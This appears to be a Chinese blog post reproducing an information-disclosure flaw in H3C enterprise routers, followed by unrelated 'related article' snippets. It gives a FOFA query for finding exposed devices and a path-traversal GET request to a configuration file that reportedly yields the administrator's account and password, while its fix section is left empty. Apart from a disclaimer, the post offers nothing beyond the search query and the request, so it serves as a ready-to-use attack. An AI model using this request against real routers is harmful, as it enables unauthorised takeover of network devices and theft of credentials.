【漏洞复现】H3C路由器信息泄露任意用户登录
漏洞描述
通过访问特地址得到密码可进行登录。
免责声明
技术文章仅供参考，任何个人和组织使用网络应当遵守宪法法律，遵守公共秩序，尊重社会公德，不得利用网络从事危害国家安全、荣誉和利益，未经授权请勿利用文章中的技术资料对任何计算机系统进行入侵操作。利用此文所提供的信息而造成的直接或间接后果和损失，均由使用者本人负责。本文所提供的工具仅用于学习，禁止用于其他！！
资产确定
fofa：app=“H3C-Ent-Router”
漏洞复现
1.利用GET发送如下请求包，获取管理员账号密码(ER3100 根据web界面的标题修改)
/userLogin.asp/../actionpolicy_status/../ER3100.cfg
修复方案
相关文章：
【漏洞复现】H3C路由器信息泄露任意用户登录
漏洞描述 通过访问特地址得到密码可进行登录。 免责声明 技术文章仅供参考，任何个人和组织使用网络应当遵守宪法法律，遵守公共秩序，尊重社会公德，不得利用网络从事危害国家安全、荣誉和利益，未经授权请勿利用文章中…...
随机数算法，SQL
SELECT* FROMprizes_config WHEREweight > ( SELECT FLOOR( RAND() * MAX( weight )) FROM prizes_config ) order by weight asc-- LIMIT 1;记录 id 权重 1 5 2 10 3 50 4 100 找权重最大的那个值，调用rand()函数&#…...
什么是软件测试+软件测试的分类【软件测试】
软件测试 什么是软件？ 软件 程序 数据 文档 软件测试的对象有哪些？程序 数据 文档 C/S与B/S架构 C/S：客户端服务器，这种就是我们一定要安装一个客户端才能够用的软件，就叫C/S。比如：微信、qq B/S&am…...
2023国赛C题解题思路：蔬菜类商品的自动定价与补货决策
本次将全程提供国赛C题完整解题思路及代码，同时共享一些国赛论文模板等资料，需要的小伙伴可以关注一下，持续更新！大家也可以关注B站视频：不知名数学家小P 实时更新 本次C题是一道较为简单的统计分析题目，建…...
MIT6.824 Spring2021 Lab 1: MapReduce
文章目录 0x00 准备0x01 MapReduce简介0x02 RPC0x03 调试0x04 代码coordinator.gorpc.goworker.go 0x00 准备 阅读MapReduce论文配置GO环境 因为之前没用过GO,所以 先在网上学了一下语法A Tour of Go 感觉Go的接口和方法的语法和C挺不一样, 并发编程也挺有意思 0x01 MapRed…...
JavaScript 日期 – 如何使用 DayJS 库在 JS 中处理日期和时间
当涉及到在 JavaScript 中处理日期和时间时，开发人员经常发现自己正在努力应对内置对象的复杂性Date。 虽然普通 JavaScript 提供了基本功能，但使用起来可能相当麻烦，尤其是在处理解析、格式化和操作日期时。 这就是像 DayJS 这样的外部库发挥作用的地方，它提供了大量的优…...
Docker基础入门：Docker基础总结篇--超详细
Docker基础入门：Docker基础总结篇[docker3要素、docker安装配置、容器使用、镜像管理发布] 一、Docker 3要素1.1、镜像（Image）1.2、容器（Container）1.3、仓库（Registry）1.4 、总结 二、Docker安…...
对象临时中间状态的条件竞争覆盖
Portswigger练兵场之条件竞争 🦄条件竞争之对象临时中间状态的条件竞争 Lab: Partial construction race conditions🚀实验前置必要知识点 某些框架尝试通过使用某种形式的请求锁定来防止意外的数据损坏。例如，PHP 的本机会话处理程序模块…...
Nodejs 第十四章（process）
process 是Nodejs操作当前进程和控制当前进程的API，并且是挂载到globalThis下面的全局API API 介绍 1. process.arch 返回操作系统 CPU 架构 跟我们之前讲的os.arch 一样 arm、arm64、ia32、mips、mipsel、ppc、ppc64、s390、s390x、以及 x64 2. process.cwd() …...
数据分析因子评分学习
当多个因素影响一个结果时，我们需要综合考虑这些因素分别对结果德影响。因子评分就是用于比较其对结果德影响程度。 文章目录 前言一、案例背景二、解决方案（一）分析思路（二）剔除无关数据（三）求…...
【postgresql 基础入门】数据库服务的管理
数据库服务管理 专栏内容： postgresql内核源码分析手写数据库toadb并发编程 开源贡献： toadb开源库 个人主页：我的主页 管理社区：开源数据库 座右铭：天行健，君子以自强不息；地势坤ÿ…...
githubPage部署Vue项目
github中新建项目 my-web （编写vue项目代码） myWebOnline(存放Vue打包后的dist包里面的文件) 发布流程 （假设my-web项目已经编写完成）Vue-cli my-web vue.config.js文件中 const { defineConfig } require(vue/cli-service)…...
【网络编程】网络原来这么简单（更新中）
故事背景：有一天小胖和他的朋友细狗出去吃饭，聊着聊着就聊到了网络，小胖是学校里的编程大佬，而细狗只是个空有求知欲的编程小白。 细狗：胖儿啊，你说计算机是怎么通信的我感觉好抽象啊。为啥别人给我发个消息…...
监控系统典型架构
监控系统典型架构如下： 从左往右看： 采集器是负责采集监控数据的，采集到数据之后传输给服务端，通常是直接写入时序库。 对时序库的数据进行分析和可视化。 告警引擎产生告警事件之后交给告警发送模块做不同媒介的通知。 可视化比…...
jsp 新能源汽车论坛网Myeclipse开发mysql数据库web结构java编程计算机网页项目
一、源码特点 JSP 新能源汽车论坛网是一套完善的java web信息管理系统，对理解JSP java编程开发语言有帮助，系统具有完整的源代码和数据库，系统主要采用B/S模式开发。开发环境为 TOMCAT7.0,Myeclipse8.5开发，数据库为Mysql5.0…...
Code Snippet的使用
文章目录 前言Code Snippet:就是咱们在VS中敲的prop、propfull、ctol【构造器快捷键】、for等快捷键，然后按tab键自动生成代码1.VS自带的：prop、propfull、ctol【构造器快捷键】、for等快捷键，直接使用2.自定义Snippet： 巨人的肩膀…...
华为云云服务器评测｜华为云耀云L搭建zerotier服务测试
0. 环境 - Win10 - 云耀云L服务器 1. 安装docker 检查yum源，本EulerOS的源在这里： cd /etc/yum.repos.d 更新源 yum makecache 安装 yum install -y docker-engine 运行测试 docker run hello-world 2. 运行docker镜像 默认配…...
企业电脑文件加密系统 / 防泄密软件——「天锐绿盾」
「天锐绿盾」是一种公司文件加密系统，旨在保护公司内网数据安全，防止信息泄露。该系统由硬件和软件组成，其中包括服务端程序、控制台程序和终端程序。 PC访问地址： isite.baidu.com/site/wjz012xr/2eae091d-1b97-4276-90bc-6757c…...
单条视频涨粉50w，逃出大英博物馆背后的逻辑是什么？
为洞察小红书平台的内容创作趋势及品牌营销策略，新红推出8月月度榜单，从创作者、品牌、品类多方面入手，解析月榜数据，为从业者提供参考。 一条视频涨粉50w 情感共鸣是爆火的核心 据8月的『涨粉排行榜』TOP500数据显示，…...
AIGC（生成式AI）试用 1 -- 基本文本查询
以一个字起，依次加一个字构成新句，不断加字使句子越来越长，也许越来越有趣。 1. 使用不同的生成AI提问，提取结果（全部 或 第一句），对比结果，个人评价更喜欢哪个（绿色底色…...
剑指offer20_链表中环的入口节点
链表中环的入口节点 给定一个链表，若其中包含环，则输出环的入口节点。 若其中不包含环，则输出null。 数据范围 节点 val 值取值范围 [ 1 , 1000 ] [1,1000] [1,1000]。 节点 val 值各不相同。 链表长度 [ 0 , 500 ] [0,500] [0,500]。 …...
从零开始打造 OpenSTLinux 6.6 Yocto 系统（基于STM32CubeMX）（九）
设备树移植 和uboot设备树修改的内容同步到kernel将设备树stm32mp157d-stm32mp157daa1-mx.dts复制到内核源码目录下 源码修改及编译 修改arch/arm/boot/dts/st/Makefile，新增设备树编译 stm32mp157f-ev1-m4-examples.dtb \stm32mp157d-stm32mp157daa1-mx.dtb修改…...
css3笔记 （1） 自用
outline: none 用于移除元素获得焦点时默认的轮廓线 broder:0 用于移除边框 font-size：0 用于设置字体不显示 list-style: none 消除<li> 标签默认样式 margin: xx auto 版心居中 width:100% 通栏 vertical-align 作用于行内元素 / 表格单元格ÿ…...
laravel8+vue3.0+element-plus搭建方法
创建 laravel8 项目 composer create-project --prefer-dist laravel/laravel laravel8 8.* 安装 laravel/ui composer require laravel/ui 修改 package.json 文件 "devDependencies": {"vue/compiler-sfc": "^3.0.7","axios": …...
安宝特方案丨船舶智造的“AR+AI+作业标准化管理解决方案”（装配）
船舶制造装配管理现状：装配工作依赖人工经验，装配工人凭借长期实践积累的操作技巧完成零部件组装。企业通常制定了装配作业指导书，但在实际执行中，工人对指导书的理解和遵循程度参差不齐。 船舶装配过程中的挑战与需求 挑战 (1…...
VM虚拟机网络配置（ubuntu24桥接模式）：配置静态IP
编辑-虚拟网络编辑器-更改设置 选择桥接模式，然后找到相应的网卡（可以查看自己本机的网络连接） windows连接的网络点击查看属性 编辑虚拟机设置更改网络配置，选择刚才配置的桥接模式 静态ip设置： 我用的ubuntu24桌…...
对象回调初步研究
_OBJECT_TYPE结构分析 在介绍什么是对象回调前，首先要熟悉下结构 以我们上篇线程回调介绍过的导出的PsProcessType 结构为例，用_OBJECT_TYPE这个结构来解析它，0x80处就是今天要介绍的回调链表，但是先不着急，先把目光…...
数据库——redis
一、Redis 介绍 1. 概述 Redis（Remote Dictionary Server）是一个开源的、高性能的内存键值数据库系统，具有以下核心特点： 内存存储架构：数据主要存储在内存中，提供微秒级的读写响应 多数据结构支持&…...
JS红宝书笔记 - 3.3 变量
要定义变量，可以使用var操作符，后跟变量名 ES实现变量初始化，因此可以同时定义变量并设置它的值 使用var操作符定义的变量会成为包含它的函数的局部变量。 在函数内定义变量时省略var操作符，可以创建一个全局变量 如果需要定义…...
6.9本日总结
一、英语 复习默写list11list18，订正07年第3篇阅读 二、数学 学习线代第一讲，写15讲课后题 三、408 学习计组第二章，写计组习题 四、总结 明天结束线代第一章和计组第二章 五、明日计划 英语：复习l默写sit12list17&#…...